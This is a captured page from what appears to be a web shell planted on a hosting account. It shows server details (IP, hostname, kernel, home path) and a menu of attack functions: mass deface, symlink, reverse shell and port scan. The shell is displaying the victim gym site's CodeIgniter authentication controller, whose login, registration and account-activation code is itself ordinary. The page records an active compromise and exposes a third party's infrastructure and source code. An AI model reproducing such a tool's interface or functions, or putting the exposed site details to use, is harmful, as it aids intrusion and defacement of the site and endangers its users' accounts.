Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Controllers
/
Viewing: AuthController.php
<?php namespace App\Controllers; use App\Models\UserModel; use CodeIgniter\API\ResponseTrait; class AuthController extends BaseController { use ResponseTrait; public function login() { $email = $this->request->getPost('email'); $password = $this->request->getPost('password'); if (!$email || !$password) { return $this->respond(['status' => 'error', 'message' => 'Campos requeridos'], 400); } $userModel = new UserModel(); $user = $userModel->where('email', $email)->first(); if (!$user) { return $this->respond(['status' => 'error', 'message' => 'Usuario no encontrado'], 401); } if (!password_verify($password, $user['password'])) { return $this->respond(['status' => 'error', 'message' => 'Contraseña incorrecta'], 401); } session()->set( [ 'user_id' => $user['id'], 'correo' => $user['email'], 'nombre' => $user['name'], 'avatar' => $user['avatar'], 'is_active' => $user['is_active'], 'role_id' => null, 'permissions' => [] ] ); return $this->respond(['status' => 'success', 'message' => 'Bienvenido ' . $user['name']]); } public function register() { $name = $this->request->getPost('name'); $email = $this->request->getPost('email'); $password = $this->request->getPost('password'); if (!$name || !$email || !$password) { return $this->respond(['status' => 'error', 'message' => 'Todos los campos son obligatorios'], 400); } $userModel = new \App\Models\UserModel(); if ($userModel->where('email', $email)->first()) { return $this->respond(['status' => 'error', 'message' => 'El correo ya está registrado'], 409); } // Generar token $token = bin2hex(random_bytes(32)); // Guardar usuario $userModel->insert([ 'name' => $name, 'email' => $email, 'password' => password_hash($password, PASSWORD_DEFAULT), 'token' => $token, 'is_active' => 0 ]); // Enviar correo con PHPMailer $activationLink = base_url('auth/activate/' . $token); $emailService = new \App\Libraries\EmailService(); try { $sent = $emailService->sendActivationEmail($email, $name, $activationLink); if (!$sent) { log_message('error', 'No se pudo enviar el correo de activación a: ' . $sent); return $this->respond([ 'status' => 'error', 'message' => 'Registro exitoso, pero no se pudo enviar el correo de activación. Contacta al soporte.' ], 500); } return $this->respond([ 'status' => 'success', 'message' => 'Registro exitoso. Revisa tu correo para activar tu cuenta.' ]); } catch (\Exception $e) { log_message('error', 'Error enviando correo: ' . $e->getMessage()); return $this->respond([ 'status' => 'error', 'message' => 'Error interno al enviar correo. Intenta más tarde.' ], 500); } } public function activate($token) { $userModel = new \App\Models\UserModel(); $user = $userModel->where('token', $token)->first(); if (!$user) { return view('activation_failed'); // Crea una vista elegante } $userModel->update($user['id'], [ 'is_active' => 1, 'token' => null ]); return view('activation_success'); // Crea una vista moderna } }
Coded With 💗 by
0x6ick